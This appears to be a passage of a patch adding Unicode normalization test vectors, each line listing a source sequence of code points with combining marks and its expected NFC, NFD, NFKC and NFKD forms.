+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x17DD, 0x0062], NFC: [0x00E0, 0x05AE, 0x17DD, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x17DD, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x17DD, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x17DD, 0x0315, 0x0062] },
+{ source: [0x0061, 0x17DD, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x17DD, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x17DD, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x17DD, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x17DD, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0300, 0x05AE, 0x1D16D, 0x18A9, 0x0062], NFC: [0x00E0, 0x1D16D, 0x05AE, 0x18A9, 0x0062], NFD: [0x0061, 0x1D16D, 0x05AE, 0x18A9, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x05AE, 0x18A9, 0x0062], NFKD: [0x0061, 0x1D16D, 0x05AE, 0x18A9, 0x0300, 0x0062] },
+{ source: [0x0061, 0x18A9, 0x0300, 0x05AE, 0x1D16D, 0x0062], NFC: [0x00E0, 0x1D16D, 0x18A9, 0x05AE, 0x0062], NFD: [0x0061, 0x1D16D, 0x18A9, 0x05AE, 0x0300, 0x0062], NFKC: [0x00E0, 0x1D16D, 0x18A9, 0x05AE, 0x0062], NFKD: [0x0061, 0x1D16D, 0x18A9, 0x05AE, 0x0300, 0x0062] },
+{ source: [0x0061, 0x302E, 0x059A, 0x0316, 0x1939, 0x0062], NFC: [0x0061, 0x0316, 0x059A, 0x1939, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x059A, 0x1939, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x059A, 0x1939, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x059A, 0x1939, 0x302E, 0x0062] },
+{ source: [0x0061, 0x1939, 0x302E, 0x059A, 0x0316, 0x0062], NFC: [0x0061, 0x0316, 0x1939, 0x059A, 0x302E, 0x0062], NFD: [0x0061, 0x0316, 0x1939, 0x059A, 0x302E, 0x0062], NFKC: [0x0061, 0x0316, 0x1939, 0x059A, 0x302E, 0x0062], NFKD: [0x0061, 0x0316, 0x1939, 0x059A, 0x302E, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x193A, 0x0062], NFC: [0x00E0, 0x05AE, 0x193A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x193A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x193A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x193A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x193A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x193A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x193A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x193A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x193A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x193B, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x193B, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x193B, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x193B, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x193B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x193B, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x193B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x193B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x193B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x193B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A17, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A17, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A17, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A17, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A17, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A17, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A17, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A17, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A17, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A17, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1A18, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1A18, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1A18, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1A18, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1A18, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1A18, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1A18, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1A18, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1A18, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1A18, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1A60, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1A60, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1A60, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1A60, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1A60, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1A60, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1A60, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1A60, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1A60, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1A60, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A75, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A75, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A75, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A75, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A75, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A75, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A75, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A75, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A75, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A75, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A76, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A76, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A76, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A76, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A76, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A76, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A76, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A76, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A76, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A76, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A77, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A77, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A77, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A77, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A77, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A77, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A77, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A77, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A77, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A77, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A78, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A78, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A78, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A78, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A78, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A78, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A78, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A78, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A78, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A78, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A79, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A79, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A79, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A79, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A79, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A79, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A79, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A79, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A79, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A79, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A7A, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A7A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A7A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A7A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A7A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A7A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A7A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A7A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A7A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A7A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A7B, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A7B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A7B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A7B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A7B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A7B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A7B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A7B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A7B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A7B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1A7C, 0x0062], NFC: [0x00E0, 0x05AE, 0x1A7C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1A7C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1A7C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1A7C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1A7C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1A7C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1A7C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1A7C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1A7C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1A7F, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1A7F, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1A7F, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1A7F, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1A7F, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1A7F, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1A7F, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1A7F, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1A7F, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1A7F, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AB0, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AB0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AB0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AB0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AB0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1AB0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AB0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AB0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AB0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AB0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AB1, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AB1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AB1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AB1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AB1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1AB1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AB1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AB1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AB1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AB1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AB2, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AB2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AB2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AB2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AB2, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1AB2, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AB2, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AB2, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AB2, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AB2, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AB3, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AB3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AB3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AB3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AB3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1AB3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AB3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AB3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AB3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AB3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AB4, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AB4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AB4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AB4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AB4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1AB4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AB4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AB4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AB4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AB4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1AB5, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1AB5, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1AB5, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1AB5, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1AB5, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1AB5, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1AB5, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1AB5, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1AB5, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1AB5, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1AB6, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1AB6, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1AB6, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1AB6, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1AB6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1AB6, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1AB6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1AB6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1AB6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1AB6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1AB7, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1AB7, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1AB7, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1AB7, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1AB7, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1AB7, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1AB7, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1AB7, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1AB7, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1AB7, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1AB8, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1AB8, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1AB8, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1AB8, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1AB8, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1AB8, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1AB8, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1AB8, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1AB8, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1AB8, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1AB9, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1AB9, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1AB9, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1AB9, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1AB9, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1AB9, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1AB9, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1AB9, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1AB9, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1AB9, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1ABA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1ABA, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1ABA, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1ABA, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1ABA, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1ABA, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1ABA, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1ABA, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1ABA, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1ABA, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1ABB, 0x0062], NFC: [0x00E0, 0x05AE, 0x1ABB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1ABB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1ABB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1ABB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1ABB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1ABB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1ABB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1ABB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1ABB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1ABC, 0x0062], NFC: [0x00E0, 0x05AE, 0x1ABC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1ABC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1ABC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1ABC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1ABC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1ABC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1ABC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1ABC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1ABC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1ABD, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1ABD, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1ABD, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1ABD, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1ABD, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1ABD, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1ABD, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1ABD, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1ABD, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1ABD, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1ABF, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1ABF, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1ABF, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1ABF, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1ABF, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1ABF, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1ABF, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1ABF, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1ABF, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1ABF, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x1AC0, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x1AC0, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x1AC0, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x1AC0, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x1AC0, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1AC0, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x1AC0, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x1AC0, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x1AC0, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x1AC0, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AC1, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AC1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AC1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AC1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AC1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1AC1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1AC1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1AC1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1AC1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1AC1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1AC2, 0x0062], NFC: [0x00E0, 0x05AE, 0x1AC2, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1AC2, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1AC2, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1AC2, 0x0315, 0x0062] },
